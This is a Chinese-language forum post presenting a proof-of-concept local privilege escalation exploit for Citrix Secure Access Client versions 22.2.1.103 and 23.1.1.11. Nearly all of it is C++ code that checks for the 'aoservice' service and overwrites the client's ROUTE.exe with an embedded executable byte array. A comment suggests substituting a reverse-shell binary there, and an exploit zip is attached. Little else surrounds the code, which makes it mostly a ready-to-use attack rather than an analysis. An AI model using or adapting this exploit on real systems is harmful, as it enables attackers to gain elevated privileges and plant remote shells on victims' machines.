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Citrix 22.2.1.103 / 23.1.1.11 本地提权漏洞

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    [LV.Master]伴坛终老

    发表于 2023-4-9 21:31:37 | 显示全部楼层 |阅读模式
    POC

    [AppleScript] 纯文本查看 复制代码
    //Reported to Citrix: 25/03/2023
    //Tested Version: 22.2.1.103, 23.1.1.11/Last version
     
     
    #define UNICODE
    #define _UNICODE
    #include <Windows.h>
    #include <string>
    #include <iostream>
    #include <Windows.h>
    #include <iostream>
     
    using namespace std;
    enum Result
    {
        unknown,
        serviceManager_AccessDenied,
        serviceManager_DatabaseDoesNotExist,
        service_AccessDenied,
        service_InvalidServiceManagerHandle,
        service_InvalidServiceName,
        service_DoesNotExist,
        service_Exist
    };
     
    Result ServiceExists(const std::wstring& serviceName)
    {
        Result r = unknown;
     
        SC_HANDLE manager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, GENERIC_READ);
     
        if (manager == NULL)
        {
            DWORD lastError = GetLastError();
     
            if (lastError == ERROR_ACCESS_DENIED)
                return serviceManager_AccessDenied;
            else if (lastError == ERROR_DATABASE_DOES_NOT_EXIST)
                return serviceManager_DatabaseDoesNotExist;
            else
                return unknown;
        }
     
        SC_HANDLE service = OpenService(manager, serviceName.c_str(), GENERIC_READ);
     
        if (service == NULL)
        {
            DWORD error = GetLastError();
     
            if (error == ERROR_ACCESS_DENIED)
                r = service_AccessDenied;
            else if (error == ERROR_INVALID_HANDLE)
                r = service_InvalidServiceManagerHandle;
            else if (error == ERROR_INVALID_NAME)
                r = service_InvalidServiceName;
            else if (error == ERROR_SERVICE_DOES_NOT_EXIST)
                r = service_DoesNotExist;
            else
                r = unknown;
        }
        else
            r = service_Exist;
     
        if (service != NULL)
            CloseServiceHandle(service);
     
        if (manager != NULL)
            CloseServiceHandle(manager);
     
        return r;
    }
     
    int main() {
     
        const uint8_t shellcode[7168] = {
            0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00,
            0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        }; //You can set array bin of your reverse shell PE file here
     
        std::wstring serviceName = L"aoservice";
        Result result = ServiceExists(serviceName);
        if (result == service_Exist)
            std::wcout << L"The service '" << serviceName << "' exists." << std::endl;
        else if (result == service_DoesNotExist)
            std::wcout << L"The service '" << serviceName << "' does not exist." << std::endl;
        else
            std::wcout << L"An error has occurred, and it could not be determined whether the service '" << serviceName << "' exists or not." << std::endl;
          
        HANDLE fileHandle = CreateFile(L"C:\\Program Files\\Citrix\\Secure Access Client\\ROUTE.exe", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        cerr << "[*] Loading Malicious file into Citric Secure Access Installer \n";
        if (fileHandle == INVALID_HANDLE_VALUE) {
            cerr << "Failed to create shellcode\n";
            return 1;
        }
     
        DWORD bytesWritten;
        if (!WriteFile(fileHandle, shellcode, sizeof(shellcode), &bytesWritten, NULL)) {
            cerr << "Failed to write to file\n";
            CloseHandle(fileHandle);
            return 1;
        }
        CloseHandle(fileHandle);
     
        cout << "Shellcode exported to Citrix Secure Access path \n";
        return 0;
    }



    Citrix_Secure_Access_LPE_0DAY-main.zip (1.66 MB, 下载次数: 0)
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